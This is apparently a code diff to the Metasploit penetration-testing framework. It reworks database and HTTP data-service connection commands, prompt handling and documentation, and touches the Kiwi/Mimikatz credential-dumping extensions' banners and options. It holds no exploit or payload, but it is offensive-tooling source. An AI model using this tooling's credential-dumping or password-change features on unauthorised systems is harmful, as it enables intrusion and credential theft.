def commands
|
||||
base = {
|
||||
"db_connect" => "Connect to an existing database",
|
||||
"db_disconnect" => "Disconnect from the current database instance",
|
||||
"db_status" => "Show the current database status",
|
||||
"db_connect" => "Connect to an existing data service",
|
||||
"db_disconnect" => "Disconnect from the current data service",
|
||||
"db_status" => "Show the current data service status",
|
||||
"db_save" => "Save the current data service connection as the default to reconnect on startup",
|
||||
"db_remove" => "Remove the saved data service entry"
|
||||
}
|
||||
|
||||
more = {
|
||||
|
@ -47,7 +51,6 @@ class Db
|
|||
"db_export" => "Export a file containing the contents of the database",
|
||||
"db_nmap" => "Executes nmap and records the output automatically",
|
||||
"db_rebuild_cache" => "Rebuilds the database-stored module cache",
|
||||
"data_services" => "Command to add, list and set a data service",
|
||||
}
|
||||
|
||||
# Always include commands that only make sense when connected.
|
||||
|
@ -82,28 +85,6 @@ class Db
|
|||
true
|
||||
end
|
||||
|
||||
def cmd_data_services(*args)
|
||||
while (arg = args.shift)
|
||||
case arg
|
||||
when '-h', '--help'
|
||||
data_service_help
|
||||
return
|
||||
when '-a', '--add'
|
||||
add_data_service(*args)
|
||||
return
|
||||
when '-d', '--delete'
|
||||
delete_data_service(args.shift)
|
||||
return
|
||||
when '-s', '--set'
|
||||
set_data_service(args.shift)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
list_data_services
|
||||
end
|
||||
|
||||
|
||||
def cmd_workspace_help
|
||||
print_line "Usage:"
|
||||
print_line " workspace List workspaces"
|
||||
|
@ -1203,7 +1184,7 @@ class Db
|
|||
end
|
||||
|
||||
def cmd_loot_help
|
||||
print_line "Usage: loot <options>"
|
||||
print_line "Usage: loot [options]"
|
||||
print_line " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]"
|
||||
print_line " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]"
|
||||
print_line " Del: loot -d [addr1 addr2 ...]"
|
||||
|
@ -1722,75 +1703,139 @@ class Db
|
|||
return if not db_check_driver
|
||||
|
||||
if framework.db.connection_established?
|
||||
cdb = ''
|
||||
::ActiveRecord::Base.connection_pool.with_connection do |conn|
|
||||
if conn.respond_to?(:current_database)
|
||||
cdb = conn.current_database
|
||||
end
|
||||
end
|
||||
print_status("#{framework.db.driver} connected to #{cdb}")
|
||||
print_connection_info
|
||||
else
|
||||
print_status("#{framework.db.driver} selected, no connection")
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_db_connect_help
|
||||
# Help is specific to each driver
|
||||
cmd_db_connect("-h")
|
||||
print_line(" Usage: db_connect <user:pass>@<host:port>/<database>")
|
||||
print_line(" OR: db_connect -y [path/to/database.yml]")
|
||||
print_line(" OR: db_connect [options] <http|https>://<host:port>")
|
||||
print_line("Examples:")
|
||||
print_line(" db_connect user@metasploit3")
|
||||
print_line(" db_connect user:pass@192.168.0.2/metasploit3")
|
||||
print_line(" db_connect user:pass@192.168.0.2:1500/metasploit3")
|
||||
print_line(" db_connect http://localhost:8080")
|
||||
print_line(" db_connect -c ~/cert.pem -t 6a7a74c1a5003802c955ead1bbddd4ab1b05a7f2940b4732d34bfc555bc6e1c5d7611a497b29e8f0 https://localhost:8080")
|
||||
print_line(" db_connect --name LA-server http://laoffice.org:8080")
|
||||
print_line(" db_connect LA-server")
|
||||
print_line(" ")
|
||||
print_line(" OPTIONS:")
|
||||
print_line(" -l,--list-services List the available data services that have been previously saved.")
|
||||
print_line(" -y,--yaml Connect to the data service specified in the provided database.yml file.")
|
||||
print_line(" -n,--name Name used to store the connection. Providing an existing name will overwrite the settings for that connection.")
|
||||
print_line(" -c,--cert Certificate file matching the remote data server's certificate. Needed when using self-signed SSL cert.")
|
||||
print_line(" -t,--token The API token used to authenticate to the remote data service.")
|
||||
print_line(" --skip-verify Skip validating authenticity of server's certificate (NOT RECOMMENDED).")
|
||||
end
|
||||
|
||||
def cmd_db_connect(*args)
|
||||
return if not db_check_driver
|
||||
if args[0] != '-h' && framework.db.connection_established?
|
||||
cdb = ''
|
||||
::ActiveRecord::Base.connection_pool.with_connection do |conn|
|
||||
if conn.respond_to?(:current_database)
|
||||
cdb = conn.current_database
|
||||
|
||||
opts = {}
|
||||
https_opts = {}
|
||||
while (arg = args.shift)
|
||||
case arg
|
||||
when '-h', '--help'
|
||||
cmd_db_connect_help
|
||||
return
|
||||
when '-y', '--yaml'
|
||||
yaml_file = args.shift
|
||||
when '-c', '--cert'
|
||||
https_opts[:cert] = args.shift
|
||||
when '-t', '--token'
|
||||
opts[:api_token] = args.shift
|
||||
when '-l', '--list-services'
|
||||
list_saved_data_services
|
||||
return
|
||||
when '-n', '--name'
|
||||
name = args.shift
|
||||
if name =~ /\/|\[|\]/
|
||||
print_error "Provided name contains an invalid character. Aborting connection."
|
||||
return
|
||||
end
|
||||
when '--skip-verify'
|
||||
https_opts[:skip_verify] = true
|
||||
else
|
||||
found_name = data_service_search(arg)
|
||||
if found_name
|
||||
opts = load_db_config(found_name)
|
||||
else
|
||||
opts[:url] = arg
|
||||
end
|
||||
end
|
||||
print_error("#{framework.db.driver} already connected to #{cdb}")
|
||||
print_error('Run db_disconnect first if you wish to connect to a different database')
|
||||
end
|
||||
|
||||
opts[:https_opts] = https_opts unless https_opts.empty?
|
||||
|
||||
if !opts[:url] && !yaml_file
|
||||
print_error 'A URL or saved data service name is required.'
|
||||
print_line
|
||||
cmd_db_connect_help
|
||||
return
|
||||
end
|
||||
if (args[0] == "-y")
|
||||
if (args[1] and not ::File.exist? ::File.expand_path(args[1]))
|
||||
|
||||
if opts[:url] =~ /http/
|
||||
new_conn_type = 'http'
|
||||
else
|
||||
new_conn_type = framework.db.driver
|
||||
end
|
||||
|
||||
# Currently only able to be connected to one DB at a time
|
||||
if framework.db.connection_established?
|
||||
# But the http connection still requires a local database to support AR, so we have to allow that
|
||||
# Don't allow more than one HTTP service, though
|
||||
if new_conn_type != 'http' || framework.db.get_services_metadata.count >= 2
|
||||
print_error('Connection already established. Only one connection is allowed at a time.')
|
||||
print_error('Run db_disconnect first if you wish to connect to a different data service.')
|
||||
print_line
|
||||
print_line 'Current connection information:'
|
||||
print_connection_info
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
if yaml_file
|
||||
if (yaml_file and not ::File.exist? ::File.expand_path(yaml_file))
|
||||
print_error("File not found")
|
||||
return
|
||||
end
|
||||
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
|
||||
file = yaml_file || ::File.join(Msf::Config.get_config_root, "database.yml")
|
||||
file = ::File.expand_path(file)
|
||||
if (::File.exist? file)
|
||||
db = YAML.load(::File.read(file))['production']
|
||||
framework.db.connect(db)
|
||||
|
||||
if framework.db.active and not framework.db.modules_cached
|
||||
print_status("Rebuilding the module cache in the background...")
|
||||
framework.threads.spawn("ModuleCacheRebuild", true) do
|
||||
framework.db.update_all_module_details
|
||||
end
|
||||
end
|
||||
|
||||
print_line('Connected to the database specified in the YAML file.')
|
||||
return
|
||||
end
|
||||
end
|
||||
meth = "db_connect_#{framework.db.driver}"
|
||||
|
||||
meth = "db_connect_#{new_conn_type}"
|
||||
if(self.respond_to?(meth, true))
|
||||
self.send(meth, *args)
|
||||
if framework.db.active and not framework.db.modules_cached
|
||||
print_status("Rebuilding the module cache in the background...")
|
||||
framework.threads.spawn("ModuleCacheRebuild", true) do
|
||||
framework.db.update_all_module_details
|
||||
self.send(meth, opts)
|
||||
else
|
||||
print_error("This database driver #{new_conn_type} is not currently supported")
|
||||
end
|
||||
|
||||
if framework.db.active
|
||||
if !name || name.empty?
|
||||
if found_name
|
||||
name = found_name
|
||||
else
|
||||
name = Rex::Text.rand_text_alphanumeric(8)
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("This database driver #{framework.db.driver} is not currently supported")
|
||||
save_db_to_config(framework.db, name)
|
||||
@current_data_service = name
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_db_disconnect_help
|
||||
print_line "Usage: db_disconnect"
|
||||
print_line
|
||||
print_line "Disconnect from the database."
|
||||
print_line "Disconnect from the data service."
|
||||
print_line
|
||||
end
|
||||
|
||||
|
@ -1802,8 +1847,25 @@ class Db
|
|||
return
|
||||
end
|
||||
|
||||
if (framework.db)
|
||||
framework.db.disconnect()
|
||||
db_name = framework.db.name
|
||||
|
||||
if framework.db.active
|
||||
if framework.db.driver == 'http'
|
||||
begin
|
||||
framework.db.delete_current_data_service
|
||||
local_db_url = build_postgres_url
|
||||
local_name = data_service_search(local_db_url)
|
||||
@current_data_service = local_name
|
||||
rescue => e
|
||||
print_error "Unable to disconnect from the data service: #{e.message}"
|
||||
end
|
||||
else
|
||||
framework.db.disconnect
|
||||
@current_data_service = nil
|
||||
end
|
||||
print_line "Successfully disconnected from the data service: #{db_name}."
|
||||
else
|
||||
print_error "Not currently connected to a data service."
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -1827,6 +1889,101 @@ class Db
|
|||
print_line
|
||||
end
|
||||
|
||||
def cmd_db_save_help
|
||||
print_line "Usage: db_save"
|
||||
print_line
|
||||
print_line "Save the current data service connection as the default to reconnect on startup."
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_db_save(*args)
|
||||
while (arg = args.shift)
|
||||
case arg
|
||||
when '-h', '--help'
|
||||
cmd_db_save_help
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
if !framework.db.active || !@current_data_service
|
||||
print_error "Not currently connected to a data service that can be saved."
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
Msf::Config.save(DB_CONFIG_PATH => { 'default_db' => @current_data_service })
|
||||
print_line "Successfully saved data service as default: #{@current_data_service}"
|
||||
rescue ArgumentError => e
|
||||
print_error e.message
|
||||
end
|
||||
end
|
||||
|
||||
def save_db_to_config(database, database_name)
|
||||
if database_name =~ /\/|\[|\]/
|
||||
raise ArgumentError, 'Data service name contains an invalid character.'
|
||||
end
|
||||
config_path = "#{DB_CONFIG_PATH}/#{database_name}"
|
||||
config_opts = {}
|
||||
if !database.is_local?
|
||||
begin
|
||||
config_opts['url'] = database.endpoint
|
||||
if database.https_opts
|
||||
config_opts['cert'] = database.https_opts[:cert] if database.https_opts[:cert]
|
||||
config_opts['skip_verify'] = true if database.https_opts[:skip_verify]
|
||||
end
|
||||
if database.api_token
|
||||
config_opts['api_token'] = database.api_token
|
||||
end
|
||||
Msf::Config.save(config_path => config_opts)
|
||||
rescue => e
|
||||
print_error "There was an error saving the data service configuration: #{e.message}"
|
||||
end
|
||||
else
|
||||
url = build_postgres_url
|
||||
config_opts['url'] = url
|
||||
Msf::Config.save(config_path => config_opts)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_db_remove_help
|
||||
print_line "Usage: db_remove <name>"
|
||||
print_line
|
||||
print_line "Delete the specified saved data service."
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_db_remove(*args)
|
||||
if args[0] == '-h' || args[0] == '--help' || args[0].nil? || args[0].empty?
|
||||
cmd_db_remove_help
|
||||
return
|
||||
end
|
||||
delete_db_from_config(args[0])
|
||||
end
|
||||
|
||||
def delete_db_from_config(db_name)
|
||||
conf = Msf::Config.load
|
||||
db_path = "#{DB_CONFIG_PATH}/#{db_name}"
|
||||
if conf[db_path]
|
||||
clear_default_db if conf[DB_CONFIG_PATH]['default_db'] && conf[DB_CONFIG_PATH]['default_db'] == db_name
|
||||
Msf::Config.delete_group(db_path)
|
||||
print_line "Successfully deleted data service: #{db_name}"
|
||||
else
|
||||
print_line "Unable to locate saved data service with name #{db_name}."
|
||||
end
|
||||
end
|
||||
|
||||
def clear_default_db
|
||||
conf = Msf::Config.load
|
||||
if conf[DB_CONFIG_PATH] && conf[DB_CONFIG_PATH]['default_db']
|
||||
updated_opts = conf[DB_CONFIG_PATH]
|
||||
updated_opts.delete('default_db')
|
||||
Msf::Config.save(DB_CONFIG_PATH => updated_opts)
|
||||
print_line "Cleared the default data service."
|
||||
else
|
||||
print_line "No default data service was configured."
|
||||
end
|
||||
end
|
||||
|
||||
def db_find_tools(tools)
|
||||
missed = []
|
||||
tools.each do |name|
|
||||
|
@ -1848,18 +2005,8 @@ class Db
|
|||
#
|
||||
# Connect to an existing Postgres database
|
||||
#
|
||||
def db_connect_postgresql(*args)
|
||||
if(args[0] == nil or args[0] == "-h" or args[0] == "--help")
|
||||
print_status(" Usage: db_connect <user:pass>@<host:port>/<database>")
|
||||
print_status(" OR: db_connect -y [path/to/database.yml]")
|
||||
print_status("Examples:")
|
||||
print_status(" db_connect user@metasploit3")
|
||||
print_status(" db_connect user:pass@192.168.0.2/metasploit3")
|
||||
print_status(" db_connect user:pass@192.168.0.2:1500/metasploit3")
|
||||
return
|
||||
end
|
||||
|
||||
info = db_parse_db_uri_postgresql(args[0])
|
||||
def db_connect_postgresql(cli_opts)
|
||||
info = db_parse_db_uri_postgresql(cli_opts[:url])
|
||||
opts = { 'adapter' => 'postgresql' }
|
||||
|
||||
opts['username'] = info[:user] if (info[:user])
|
||||
|
@ -1896,8 +2043,29 @@ class Db
|
|||
opts['host'] = '127.0.0.1'
|
||||
end
|
||||
|
||||
if (not framework.db.connect(opts))
|
||||
raise RuntimeError.new("Failed to connect to the database: #{framework.db.error}")
|
||||
if framework.db.connect(opts) && framework.db.connection_established?
|
||||
print_line "Connected to Postgres data service: #{info[:host]}/#{info[:name]}"
|
||||
else
|
||||
raise RuntimeError.new("Failed to connect to the Postgres data service: #{framework.db.error}")
|
||||
end
|
||||
end
|
||||
|
||||
def db_connect_http(opts)
|
||||
# local database is required to use Mdm objects
|
||||
unless framework.db.active
|
||||
print_error("No local database connected. Please connect to a local database before connecting to a remote data service.")
|
||||
return
|
||||
end
|
||||
|
||||
uri = db_parse_db_uri_http(opts[:url])
|
||||
|
||||
remote_data_service = Metasploit::Framework::DataService::RemoteHTTPDataService.new(uri.to_s, opts)
|
||||
begin
|
||||
framework.db.register_data_service(remote_data_service)
|
||||
print_line "Connected to HTTP data service: #{remote_data_service.name}"
|
||||
framework.db.workspace = framework.db.default_workspace
|
||||
rescue => e
|
||||
raise RuntimeError.new("Failed to connect to the HTTP data service: #{e.message}")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -1917,6 +2085,10 @@ class Db
|
|||
res
|
||||
end
|
||||
|
||||
def db_parse_db_uri_http(path)
|
||||
URI.parse(path)
|
||||
end
|
||||
|
||||
#
|
||||
# Miscellaneous option helpers
|
||||
#
|
||||
|
@ -1963,97 +2135,89 @@ class Db
|
|||
private
|
||||
#######
|
||||
|
||||
def add_data_service(*args)
|
||||
# database is required to use Mdm objects
|
||||
unless framework.db.active
|
||||
print_error("Database not connected; connect to an existing database with db_connect before using data_services")
|
||||
return
|
||||
end
|
||||
|
||||
protocol = "http"
|
||||
port = 8080
|
||||
opts = {}
|
||||
https_opts = {}
|
||||
while (arg = args.shift)
|
||||
case arg
|
||||
when '-p', '--port'
|
||||
port = args.shift
|
||||
when '-t', '--token'
|
||||
opts[:api_token] = args.shift
|
||||
when '-s', '--ssl'
|
||||
protocol = "https"
|
||||
when '-c', '--cert'
|
||||
https_opts[:cert] = args.shift
|
||||
when '--skip-verify'
|
||||
https_opts[:skip_verify] = true
|
||||
else
|
||||
host = arg
|
||||
def print_connection_info
|
||||
cdb = ''
|
||||
if framework.db.driver == 'http'
|
||||
cdb = framework.db.name
|
||||
else
|
||||
::ActiveRecord::Base.connection_pool.with_connection do |conn|
|
||||
if conn.respond_to?(:current_database)
|
||||
cdb = conn.current_database
|
||||
end
|
||||
end
|
||||
end
|
||||
output = "Connected to #{cdb}. Connection type: #{framework.db.driver}."
|
||||
output += " Connection name: #{@current_data_service}." if @current_data_service
|
||||
print_status(output)
|
||||
end
|
||||
|
||||
if host.nil? || port.nil?
|
||||
print_error("Host and port are required")
|
||||
def data_service_search(search_criteria)
|
||||
conf = Msf::Config.load
|
||||
rv = nil
|
||||
|
||||
conf.each_pair do |k,v|
|
||||
name = k.split('/').last
|
||||
rv = name if name == search_criteria
|
||||
rv = name if v.values.include?(search_criteria)
|
||||
end
|
||||
rv
|
||||
end
|
||||
|
||||
def load_db_config(db_name)
|
||||
conf = Msf::Config.load
|
||||
conf_options = conf["#{DB_CONFIG_PATH}/#{db_name}"]
|
||||
opts = {}
|
||||
https_opts = {}
|
||||
if conf_options
|
||||
opts[:url] = conf_options['url'] if conf_options['url']
|
||||
opts[:api_token] = conf_options['api_token'] if conf_options['api_token']
|
||||
https_opts[:cert] = conf_options['cert'] if conf_options['cert']
|
||||
https_opts[:skip_verify] = conf_options['skip_verify'] if conf_options['skip_verify']
|
||||
else
|
||||
print_error "Unable to locate saved data service with name '#{db_name}'"
|
||||
return
|
||||
end
|
||||
|
||||
opts[:https_opts] = https_opts unless https_opts.empty?
|
||||
endpoint = "#{protocol}://#{host}:#{port}"
|
||||
remote_data_service = Metasploit::Framework::DataService::RemoteHTTPDataService.new(endpoint, opts)
|
||||
begin
|
||||
framework.db.register_data_service(remote_data_service)
|
||||
print_line "Registered data service: #{remote_data_service.name}"
|
||||
framework.db.workspace = framework.db.default_workspace
|
||||
rescue => e
|
||||
print_error "There was a problem registering the remote data service: #{e.message}"
|
||||
end
|
||||
opts
|
||||
end
|
||||
|
||||
def delete_data_service(service_id)
|
||||
begin
|
||||
data_service = framework.db.delete_data_service(service_id)
|
||||
framework.db.workspace = framework.db.default_workspace
|
||||
data_service
|
||||
rescue => e
|
||||
print_error "Unable to delete data service: #{e.message}"
|
||||
end
|
||||
end
|
||||
def list_saved_data_services
|
||||
conf = Msf::Config.load
|
||||
default = nil
|
||||
tbl = Rex::Text::Table.new({
|
||||
'Header' => 'Data Services',
|
||||
'Columns' => ['current', 'name', 'url', 'default?'],
|
||||
'SortIndex' => 1
|
||||
})
|
||||
|
||||
def set_data_service(service_id)
|
||||
begin
|
||||
data_service = framework.db.set_data_service(service_id)
|
||||
framework.db.workspace = framework.db.default_workspace
|
||||
data_service
|
||||
rescue => e
|
||||
print_error "Unable to set data service: #{e.message}"
|
||||
end
|
||||
end
|
||||
|
||||
def list_data_services()
|
||||
framework.db.get_services_metadata.each {|metadata|
|
||||
out = "id: #{metadata.id}, name: #{metadata.name}"
|
||||
if metadata.active
|
||||
out += " [active]"
|
||||
conf.each_pair do |k,v|
|
||||
if k =~ /#{DB_CONFIG_PATH}/
|
||||
default = v['default_db'] if v['default_db']
|
||||
name = k.split('/').last
|
||||
next if name == 'database' # Data service information is not stored in 'framework/database', just metadata
|
||||
url = v['url']
|
||||
current = ''
|
||||
current = '*' if name == @current_data_service
|
||||
default_output = ''
|
||||
default_output = '*' if name == default
|
||||
line = [current, name, url, default_output]
|
||||
tbl << line
|
||||
end
|
||||
print_line out
|
||||
}
|
||||
end
|
||||
print_line
|
||||
print_line tbl.to_s
|
||||
end
|
||||
|
||||
def data_service_help
|
||||
print_line "Usage: data_services [ options ] - list data services by default"
|
||||
print_line
|
||||
print_line "OPTIONS:"
|
||||
|
||||
print_line " -h, --help Show this help information."
|
||||
print_line " -d, --delete <id> Delete the data service by identifier."
|
||||
print_line " -s, --set <id> Set the active data service by identifier."
|
||||
print_line " -a, --add [ options ] <host> Add a new data service"
|
||||
print_line " Add Data Service Options:"
|
||||
print_line " -p, --port <port> The port the data service is listening on. Default is 8080."
|
||||
print_line " -t, --token <token> API Token for MSF web service"
|
||||
print_line " -s, --ssl Enable SSL. Required for HTTPS data services."
|
||||
print_line " -c, --cert Certificate file matching the server's certificate. Needed when using self-signed SSL cert."
|
||||
print_line " --skip-verify Skip validating authenticity of server's certificate. NOT RECOMMENDED."
|
||||
print_line
|
||||
def build_postgres_url
|
||||
conn_params = ActiveRecord::Base.connection_config
|
||||
url = ""
|
||||
url += "#{conn_params[:username]}" if conn_params[:username]
|
||||
url += ":#{conn_params[:password]}" if conn_params[:password]
|
||||
url += "@#{conn_params[:host]}" if conn_params[:host]
|
||||
url += ":#{conn_params[:port]}" if conn_params[:port]
|
||||
url += "/#{conn_params[:database]}" if conn_params[:database]
|
||||
url
|
||||
end
|
||||
|
||||
def print_msgs(status_msg, error_msg)
|
||||
|
|
|
@ -326,6 +326,7 @@ module Msf
|
|||
print_line
|
||||
print_line "Keywords:"
|
||||
{
|
||||
'aka' => 'Modules with a matching AKA (also-known-as) name',
|
||||
'app' => 'Modules that are client or server attacks',
|
||||
'author' => 'Modules written by this author',
|
||||
'arch' => 'Modules affecting this architecture',
|
||||
|
@ -677,11 +678,6 @@ module Msf
|
|||
end
|
||||
|
||||
mod.init_ui(driver.input, driver.output)
|
||||
|
||||
# Update the command prompt
|
||||
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
|
||||
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
||||
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.promptname}%clr) ", prompt_char, true)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -864,11 +860,6 @@ module Msf
|
|||
|
||||
# Destack the current dispatcher
|
||||
driver.destack_dispatcher
|
||||
|
||||
# Restore the prompt
|
||||
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
|
||||
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
||||
driver.update_prompt("#{prompt} ", prompt_char, true)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -24,6 +24,7 @@ class Driver < Msf::Ui::Driver
|
|||
|
||||
ConfigCore = "framework/core"
|
||||
ConfigGroup = "framework/ui/console"
|
||||
DbConfigGroup = "framework/database"
|
||||
|
||||
DefaultPrompt = "%undmsf5%clr"
|
||||
DefaultPromptChar = "%clr>"
|
||||
|
@ -129,6 +130,8 @@ class Driver < Msf::Ui::Driver
|
|||
enstack_dispatcher(dispatcher)
|
||||
end
|
||||
|
||||
load_db_config(opts['Config'])
|
||||
|
||||
if !framework.db || !framework.db.active
|
||||
print_error("***")
|
||||
if framework.db.error == "disabled"
|
||||
|
@ -224,6 +227,38 @@ class Driver < Msf::Ui::Driver
|
|||
end
|
||||
end
|
||||
|
||||
def load_db_config(path=nil)
|
||||
begin
|
||||
conf = Msf::Config.load(path)
|
||||
rescue
|
||||
wlog("Failed to load configuration: #{$!}")
|
||||
return
|
||||
end
|
||||
|
||||
if conf.group?(DbConfigGroup)
|
||||
conf[DbConfigGroup].each_pair do |k, v|
|
||||
if k.downcase == 'default_db'
|
||||
ilog "Default data service found. Attempting to connect..."
|
||||
default_db_config_path = "#{DbConfigGroup}/#{v}"
|
||||
default_db = conf[default_db_config_path]
|
||||
if default_db
|
||||
connect_string = "db_connect #{v}"
|
||||
|
||||
if framework.db.active && default_db['url'] !~ /http/
|
||||
ilog "Existing local data connection found. Disconnecting first."
|
||||
run_single("db_disconnect")
|
||||
end
|
||||
|
||||
run_single(connect_string)
|
||||
else
|
||||
elog "Config entry for '#{default_db_config_path}' could not be found. Config file might be corrupt."
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Loads configuration for the console.
|
||||
#
|
||||
|
@ -333,7 +368,10 @@ class Driver < Msf::Ui::Driver
|
|||
print_warning("\t#{path}: #{error}")
|
||||
end
|
||||
end
|
||||
framework.db.workspace = framework.db.default_workspace if framework.db && framework.db.active
|
||||
|
||||
if framework.db && framework.db.active
|
||||
framework.db.workspace = framework.db.default_workspace unless framework.db.workspace
|
||||
end
|
||||
|
||||
framework.events.on_ui_start(Msf::Framework::Revision)
|
||||
|
||||
|
@ -376,10 +414,6 @@ class Driver < Msf::Ui::Driver
|
|||
handle_console_logging(val) if (glob)
|
||||
when "loglevel"
|
||||
handle_loglevel(val) if (glob)
|
||||
when "prompt"
|
||||
update_prompt(val, framework.datastore['PromptChar'] || DefaultPromptChar, true)
|
||||
when "promptchar"
|
||||
update_prompt(framework.datastore['Prompt'] || DefaultPrompt, val, true)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -398,6 +432,21 @@ class Driver < Msf::Ui::Driver
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Proxies to shell.rb's update prompt with our own extras
|
||||
#
|
||||
def update_prompt(*args)
|
||||
if args.empty?
|
||||
pchar = framework.datastore['PromptChar'] || DefaultPromptChar
|
||||
p = framework.datastore['Prompt'] || DefaultPrompt
|
||||
p = "#{p} #{active_module.type}(%bld%red#{active_module.promptname}%clr)" if active_module
|
||||
super(p, pchar)
|
||||
else
|
||||
# Don't squash calls from within lib/rex/ui/text/shell.rb
|
||||
super(*args)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# The framework instance associated with this driver.
|
||||
#
|
||||
|
|
|
@ -32,10 +32,13 @@ module Msf
|
|||
kb_path = nil
|
||||
kb = ''
|
||||
|
||||
if File.exists?(File.join(PullRequestFinder::USER_MANUAL_BASE_PATH, "#{mod.fullname}.md"))
|
||||
kb_path = File.join(PullRequestFinder::USER_MANUAL_BASE_PATH, "#{mod.fullname}.md")
|
||||
elsif File.exists?(File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md"))
|
||||
kb_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md")
|
||||
user_path = File.join(PullRequestFinder::USER_MANUAL_BASE_PATH, "#{mod.fullname}.md")
|
||||
global_path = File.join(PullRequestFinder::MANUAL_BASE_PATH, "#{mod.fullname}.md")
|
||||
|
||||
if File.exists?(user_path)
|
||||
kb_path = user_path
|
||||
elsif File.exists?(global_path)
|
||||
kb_path = global_path
|
||||
end
|
||||
|
||||
unless kb_path.nil?
|
||||
|
|
|
@ -215,8 +215,6 @@ module Msf
|
|||
|
||||
refs.each do |ref|
|
||||
case ref.ctx_id
|
||||
when 'AKA'
|
||||
normalized << "* *Also known as:* #{ref.ctx_val}"
|
||||
when 'MSB'
|
||||
normalized << "* [#{ref.ctx_val}](#{ref.site})"
|
||||
when 'URL'
|
||||
|
|
|
@ -16,6 +16,8 @@ module SocketSubsystem
|
|||
|
||||
class TcpServerChannel < Rex::Post::Meterpreter::Channel
|
||||
|
||||
include Rex::IO::StreamServer
|
||||
|
||||
#
|
||||
# This is a class variable to store all pending client tcp connections which have not been passed
|
||||
# off via a call to the respective server tcp channels accept method. The dictionary key is the
|
||||
|
@ -87,7 +89,7 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel
|
|||
end
|
||||
|
||||
#
|
||||
# Simply initilize this instance.
|
||||
# Simply initialize this instance.
|
||||
#
|
||||
def initialize(client, cid, type, flags)
|
||||
super(client, cid, type, flags)
|
||||
|
@ -104,7 +106,7 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel
|
|||
end
|
||||
|
||||
#
|
||||
# Accept a new tcp client connection form this tcp server channel. This method will block indefinatly
|
||||
# Accept a new tcp client connection form this tcp server channel. This method will block indefinitely
|
||||
# if no timeout is specified.
|
||||
#
|
||||
def accept(opts = {})
|
||||
|
|
|
@ -8,7 +8,7 @@ module Ui
|
|||
|
||||
###
|
||||
#
|
||||
# Kiwi extension - grabs credentials from windows memory.
|
||||
# Kiwi extension - grabs credentials from windows memory (newer OSes).
|
||||
#
|
||||
# Benjamin DELPY `gentilkiwi`
|
||||
# http://blog.gentilkiwi.com/mimikatz
|
||||
|
@ -38,7 +38,7 @@ class Console::CommandDispatcher::Kiwi
|
|||
super
|
||||
print_line
|
||||
print_line
|
||||
print_line(" .#####. mimikatz 2.1.1 20170608 (#{client.session_type})")
|
||||
print_line(" .#####. mimikatz 2.1.1 20180820 (#{client.session_type})")
|
||||
print_line(" .## ^ ##. \"A La Vie, A L'Amour\"")
|
||||
print_line(" ## / \\ ## /* * *")
|
||||
print_line(" ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
|
||||
|
@ -46,10 +46,15 @@ class Console::CommandDispatcher::Kiwi
|
|||
print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */")
|
||||
print_line
|
||||
|
||||
if client.arch == ARCH_X86 and client.sys.config.sysinfo['Architecture'] == ARCH_X64
|
||||
si = client.sys.config.sysinfo
|
||||
if client.arch == ARCH_X86 && si['Architecture'] == ARCH_X64
|
||||
print_warning('Loaded x86 Kiwi on an x64 architecture.')
|
||||
print_line
|
||||
end
|
||||
|
||||
if si['OS'] =~ /Windows (NT|XP|2000|2003|\.NET)/i
|
||||
print_warning("Loaded Kiwi on an old OS (#{si['OS']}). Did you mean to 'load mimikatz' instead?")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -87,9 +92,9 @@ class Console::CommandDispatcher::Kiwi
|
|||
# Valid options for the password change feature
|
||||
#
|
||||
@@password_change_usage_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [false, 'Help banner'],
|
||||
'-u' => [true, 'User name of the password to change.'],
|
||||
'-s' => [true, 'Server to perform the action on (eg. Domain Controller).'],
|
||||
'-h' => [false, 'Help banner'],
|
||||
'-u' => [true, 'User name of the password to change.'],
|
||||
'-s' => [true, 'Server to perform the action on (eg. Domain Controller).'],
|
||||
'-p' => [true, 'The known existing/old password (do not use with -n).'],
|
||||
'-n' => [true, 'The known existing/old hash (do not use with -p).'],
|
||||
'-P' => [true, 'The new password to set for the account (do not use with -N).'],
|
||||
|
|
|
@ -8,12 +8,13 @@ module Ui
|
|||
|
||||
###
|
||||
#
|
||||
# Mimikatz extension - grabs credentials from windows memory.
|
||||
# Mimikatz extension - grabs credentials from windows memory (older OSes).
|
||||
#
|
||||
# Benjamin DELPY `gentilkiwi`
|
||||
# http://blog.gentilkiwi.com/mimikatz
|
||||
#
|
||||
# extension converted by Ben Campbell (Meatballs)
|
||||
#
|
||||
###
|
||||
class Console::CommandDispatcher::Mimikatz
|
||||
|
||||
|
